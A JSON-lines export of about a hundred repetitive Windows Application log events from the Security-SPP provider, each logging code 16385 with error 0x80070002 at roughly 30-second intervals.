{"@timestamp":1659070480293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174334}}
{"@timestamp":1659070510304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174335}}
{"@timestamp":1659070540310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174336}}
{"@timestamp":1659070570318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174337}}
{"@timestamp":1659070600325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174338}}
{"@timestamp":1659070630331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174339}}
{"@timestamp":1659070660339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174340}}
{"@timestamp":1659070690346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174341}}
{"@timestamp":1659070720354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174342}}
{"@timestamp":1659070750361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174343}}
{"@timestamp":1659070780367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174344}}
{"@timestamp":1659070810374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174345}}
{"@timestamp":1659070840381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174346}}
{"@timestamp":1659070870388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174347}}
{"@timestamp":1659070900395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174348}}
{"@timestamp":1659070930403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174349}}
{"@timestamp":1659070960410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174350}}
{"@timestamp":1659070990416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174351}}
{"@timestamp":1659071020422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174352}}
{"@timestamp":1659071050429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174353}}
{"@timestamp":1659071080436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174354}}
{"@timestamp":1659071110442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174355}}
{"@timestamp":1659071140449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174356}}
{"@timestamp":1659071170458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174357}}
{"@timestamp":1659071200466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174358}}
{"@timestamp":1659071230472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174359}}
{"@timestamp":1659071260479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174360}}
{"@timestamp":1659071290485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174361}}
{"@timestamp":1659071320491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174362}}
{"@timestamp":1659071350496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174363}}
{"@timestamp":1659071380502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174364}}
{"@timestamp":1659071410507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174365}}
{"@timestamp":1659071440512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174366}}
{"@timestamp":1659071470520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174367}}
{"@timestamp":1659071500526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174368}}
{"@timestamp":1659071530531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174369}}
{"@timestamp":1659071560537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174370}}
{"@timestamp":1659071590543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174371}}
{"@timestamp":1659071620548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174372}}
{"@timestamp":1659071650555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174373}}
{"@timestamp":1659071680561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174374}}
{"@timestamp":1659071710567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174375}}
{"@timestamp":1659071740573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174376}}
{"@timestamp":1659071770580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174377}}
{"@timestamp":1659071800585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174378}}
{"@timestamp":1659071830592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174379}}
{"@timestamp":1659071860598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174380}}
{"@timestamp":1659071890606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174381}}
{"@timestamp":1659071920612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174382}}
{"@timestamp":1659071950619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174383}}
{"@timestamp":1659071980625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174384}}
{"@timestamp":1659072010631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174385}}
{"@timestamp":1659072040638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174386}}
{"@timestamp":1659072070644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174387}}
{"@timestamp":1659072100650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174388}}
{"@timestamp":1659072130655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174389}}
{"@timestamp":1659072160662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174390}}
{"@timestamp":1659072190669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174391}}
{"@timestamp":1659072220675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174392}}
{"@timestamp":1659072250681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174393}}
{"@timestamp":1659072280687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174394}}
{"@timestamp":1659072310696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174395}}
{"@timestamp":1659072340701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174396}}
{"@timestamp":1659072370708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174397}}
{"@timestamp":1659072400716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174398}}
{"@timestamp":1659072430723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174399}}
{"@timestamp":1659072460730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174400}}
{"@timestamp":1659072490737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174401}}
{"@timestamp":1659072520744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174402}}
{"@timestamp":1659072550752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174403}}
{"@timestamp":1659072580758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174404}}
{"@timestamp":1659072610766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174405}}
{"@timestamp":1659072640776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174406}}
{"@timestamp":1659072670782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174407}}
{"@timestamp":1659072700788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174408}}
{"@timestamp":1659072730794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174409}}
{"@timestamp":1659072760802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174410}}
{"@timestamp":1659072790809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174411}}
{"@timestamp":1659072820816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174412}}
{"@timestamp":1659072850823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174413}}
{"@timestamp":1659072880829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174414}}
{"@timestamp":1659072910868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174415}}
{"@timestamp":1659072940890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174416}}
{"@timestamp":1659072970896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174417}}
{"@timestamp":1659073000903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174418}}
{"@timestamp":1659073030908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174419}}
{"@timestamp":1659073060916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174420}}
{"@timestamp":1659073090922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174421}}
{"@timestamp":1659073120928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174422}}
{"@timestamp":1659073150934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174423}}
{"@timestamp":1659073180942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174424}}
{"@timestamp":1659073210949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174425}}
{"@timestamp":1659073240956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174426}}
{"@timestamp":1659073270963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174427}}
{"@timestamp":1659073300969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174428}}
{"@timestamp":1659073330975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174429}}
{"@timestamp":1659073360981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174430}}
{"@timestamp":1659073390987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174431}}
{"@timestamp":1659073420995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174432}}
{"@timestamp":1659073451002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174433}}
{"@timestamp":1659073481008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174434}}
{"@timestamp":1659073511016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174435}}
{"@timestamp":1659073541022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174436}}
{"@timestamp":1659073571029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174437}}
{"@timestamp":1659073601036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174438}}
{"@timestamp":1659073631044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174439}}
{"@timestamp":1659073661051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174440}}
{"@timestamp":1659073691057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174441}}
{"@timestamp":1659073721065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174442}}
